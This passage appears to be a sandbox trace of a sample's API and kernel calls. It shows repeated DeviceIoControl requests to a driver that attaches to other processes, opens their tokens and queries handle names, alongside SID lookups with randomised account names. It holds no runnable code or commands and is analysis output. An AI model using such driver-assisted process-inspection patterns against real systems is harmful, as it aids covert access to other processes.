dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.393] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.393] PsAcquireProcessExitSynchronization () returned 0x0 [0105.393] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff88004f095d0) [0105.394] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020c7e90, HandleInformation=0x0) returned 0x0 [0105.394] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.394] PsReleaseProcessExitSynchronization () returned 0x2 [0105.394] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0105.394] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.394] ObfDereferenceObject (Object=0xfffffa80020c7e90) returned 0x1 [0105.394] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.394] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.394] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.394] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0105.394] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.394] PsAcquireProcessExitSynchronization () returned 0x0 [0105.394] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff88004f095d0) [0105.394] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a143f0, HandleInformation=0x0) returned 0x0 [0105.394] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.395] PsReleaseProcessExitSynchronization () returned 0x2 [0105.395] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0105.395] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.395] ObfDereferenceObject (Object=0xfffffa8001a143f0) returned 0x1 [0105.395] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.395] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.395] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.395] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.395] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.395] PsAcquireProcessExitSynchronization () returned 0x0 [0105.395] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff88004f095d0) [0105.395] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.395] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.395] PsReleaseProcessExitSynchronization () returned 0x2 [0105.395] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0105.395] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.395] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.395] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.395] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.395] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x85c) returned 0xc0 [0105.395] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.395] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002089060, HandleInformation=0x0) returned 0x0 [0105.395] ObOpenObjectByPointer (in: Object=0xfffffa8002089060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.395] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x12 [0105.395] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800200a900 | out: TokenHandle=0xfffffa800200a900*=0xc8) returned 0x0 [0105.395] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.395] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.395] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.396] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.397] CloseHandle (hObject=0xc8) returned 1 [0105.397] CloseHandle (hObject=0xc0) returned 1 [0105.397] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.397] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.397] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.397] PsAcquireProcessExitSynchronization () returned 0x0 [0105.397] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff88004f095d0) [0105.397] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020b8830, HandleInformation=0x0) returned 0x0 [0105.397] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.397] PsReleaseProcessExitSynchronization () returned 0x2 [0105.397] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0105.397] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.397] ObfDereferenceObject (Object=0xfffffa80020b8830) returned 0x1 [0105.397] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.397] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.398] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.398] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0105.398] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.398] PsAcquireProcessExitSynchronization () returned 0x0 [0105.398] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff88004f095d0) [0105.398] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800206bdc0, HandleInformation=0x0) returned 0x0 [0105.398] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.398] PsReleaseProcessExitSynchronization () returned 0x2 [0105.398] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0105.398] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.398] ObfDereferenceObject (Object=0xfffffa800206bdc0) returned 0x1 [0105.398] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.398] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.398] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.398] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.398] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.398] PsAcquireProcessExitSynchronization () returned 0x0 [0105.398] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff88004f095d0) [0105.398] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.398] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.398] PsReleaseProcessExitSynchronization () returned 0x2 [0105.398] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0105.398] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.398] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.398] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.398] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.398] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x86c) returned 0xc0 [0105.398] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.398] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020a1360, HandleInformation=0x0) returned 0x0 [0105.398] ObOpenObjectByPointer (in: Object=0xfffffa80020a1360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.399] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x12 [0105.399] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800200a900 | out: TokenHandle=0xfffffa800200a900*=0xc8) returned 0x0 [0105.399] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.399] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.399] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.399] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.400] CloseHandle (hObject=0xc8) returned 1 [0105.400] CloseHandle (hObject=0xc0) returned 1 [0105.400] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.400] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.400] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.400] PsAcquireProcessExitSynchronization () returned 0x0 [0105.400] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff88004f095d0) [0105.400] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020e3c10, HandleInformation=0x0) returned 0x0 [0105.400] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.400] PsReleaseProcessExitSynchronization () returned 0x2 [0105.401] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0105.401] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.401] ObfDereferenceObject (Object=0xfffffa80020e3c10) returned 0x1 [0105.401] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.401] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.401] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.401] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0105.401] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.401] PsAcquireProcessExitSynchronization () returned 0x0 [0105.401] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff88004f095d0) [0105.401] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020e3ac0, HandleInformation=0x0) returned 0x0 [0105.401] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.401] PsReleaseProcessExitSynchronization () returned 0x2 [0105.401] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0105.401] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.401] ObfDereferenceObject (Object=0xfffffa80020e3ac0) returned 0x1 [0105.401] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.401] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.401] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.401] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.401] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.401] PsAcquireProcessExitSynchronization () returned 0x0 [0105.401] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff88004f095d0) [0105.401] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.401] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.401] PsReleaseProcessExitSynchronization () returned 0x2 [0105.401] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0105.401] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.401] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.401] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.402] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.402] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x880) returned 0xc0 [0105.402] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.402] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800208b060, HandleInformation=0x0) returned 0x0 [0105.402] ObOpenObjectByPointer (in: Object=0xfffffa800208b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0105.402] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x12 [0105.402] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa800200a900 | out: TokenHandle=0xfffffa800200a900*=0xc8) returned 0x0 [0105.402] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0105.402] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.402] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.402] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.403] CloseHandle (hObject=0xc8) returned 1 [0105.403] CloseHandle (hObject=0xc0) returned 1 [0105.403] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.403] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.403] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.403] PsAcquireProcessExitSynchronization () returned 0x0 [0105.403] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff88004f095d0) [0105.404] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80019ac4f0, HandleInformation=0x0) returned 0x0 [0105.404] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.404] PsReleaseProcessExitSynchronization () returned 0x2 [0105.404] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0105.404] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.404] ObfDereferenceObject (Object=0xfffffa80019ac4f0) returned 0x1 [0105.404] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.404] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.404] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.404] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0105.404] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.404] PsAcquireProcessExitSynchronization () returned 0x0 [0105.404] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff88004f095d0) [0105.404] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f9c200, HandleInformation=0x0) returned 0x0 [0105.404] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.404] PsReleaseProcessExitSynchronization () returned 0x2 [0105.404] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0105.404] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.404] ObfDereferenceObject (Object=0xfffffa8001f9c200) returned 0x1 [0105.404] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.404] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.404] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.404] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.404] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.404] PsAcquireProcessExitSynchronization () returned 0x0 [0105.404] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff88004f095d0) [0105.404] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, 